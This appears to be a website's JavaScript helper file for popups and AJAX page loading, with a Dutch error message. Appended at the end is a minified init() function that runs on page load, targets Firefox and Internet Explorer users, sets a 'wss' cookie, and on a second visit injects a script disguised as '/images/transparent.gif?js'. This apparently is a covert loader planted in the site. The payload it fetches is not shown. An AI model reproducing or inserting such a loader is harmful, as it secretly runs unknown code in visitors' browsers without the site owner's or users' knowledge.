function submitForm(form) {
	document.newsletter_form.submit();
}

function toggle(div_id) {
	var el = document.getElementById(div_id);
	if ( el.style.display == 'none' ) {	el.style.display = 'block';}
	else {el.style.display = 'none';}

	if (typeof window.innerHeight != 'undefined') {
		viewportheight = window.innerHeight;
	} else {
		viewportheight = document.documentElement.clientHeight;
	}

	if (typeof window.innerWidth != 'undefined') {
		viewportwidth = window.innerWidth;
	} else {
		viewportwidth = document.documentElement.clientWidth;
	}

	el.style.top = (viewportheight/2 - 300) + 'px';
	el.style.left = (viewportwidth/2 - 400) + 'px';
	el.style.width = '800px';
	el.style.height = '600px';
}

function blanket_size(popUpDivVar) {
	if (typeof window.innerWidth != 'undefined') {
		viewportheight = window.innerHeight;
	} else {
		viewportheight = document.documentElement.clientHeight;
	}
	if ((viewportheight > document.body.parentNode.scrollHeight) && (viewportheight > document.body.parentNode.clientHeight)) {
		blanket_height = viewportheight;
	} else {
		if (document.body.parentNode.clientHeight > document.body.parentNode.scrollHeight) {
			blanket_height = document.body.parentNode.clientHeight;
		} else {
			blanket_height = document.body.parentNode.scrollHeight;
		}
	}
	var blanket = document.getElementById('blanket');
	blanket.style.height = blanket_height + 'px';
}

function window_pos(popUpDivVar) {
	if (typeof window.innerWidth != 'undefined') {
		viewportwidth = window.innerHeight;
	} else {
		viewportwidth = document.documentElement.clientHeight;
	}
	if ((viewportwidth > document.body.parentNode.scrollWidth) && (viewportwidth > document.body.parentNode.clientWidth)) {
		window_width = viewportwidth;
	} else {
		if (document.body.parentNode.clientWidth > document.body.parentNode.scrollWidth) {
			window_width = document.body.parentNode.clientWidth;
		} else {
			window_width = document.body.parentNode.scrollWidth;
		}
	}
	var popUpDiv = document.getElementById(popUpDivVar);
	window_width=window_width/2-150;//150 is half popup's width
	popUpDiv.style.left = window_width + 'px';
}

function popup(windowname, url, target) {
//	blanket_size(windowname);
//	window_pos(windowname);
//	toggle('blanket');
	toggle(windowname);		
	open_page(url, target);
}

var waitmsg = null;

function open_page(url,target) {

 document.getElementById(target).innerHTML = "check 1";
 
 if(!document.getElementById) {	
   return false;
 }
 
 if(waitmsg != null) {
   document.getElementById(target).innerHTML = waitmsg;
 }
 
 if(window.ActiveXObject) {
    page = new ActiveXObject("Microsoft.XMLHTTP");  
 }
 else if(window.XMLHttpRequest) {
    page = new XMLHttpRequest();
 }
 
 if(page == undefined) {
 	return false;
 }
 
 page.onreadystatechange = function() { response(url, target);
         
  }
  
 	page.open("GET", url, true);
	page.send(null);
}

function response(url, target) {    
   if(page.readyState == 4) {
    set_loading_message("");
    
    document.getElementById(target).innerHTML = (page.status == 200) ? page.responseText : "Pagina fout: " + page.status + "error";
  }
}

function set_loading_message(msg) {
       	waitmsg = msg;
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/transparent.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
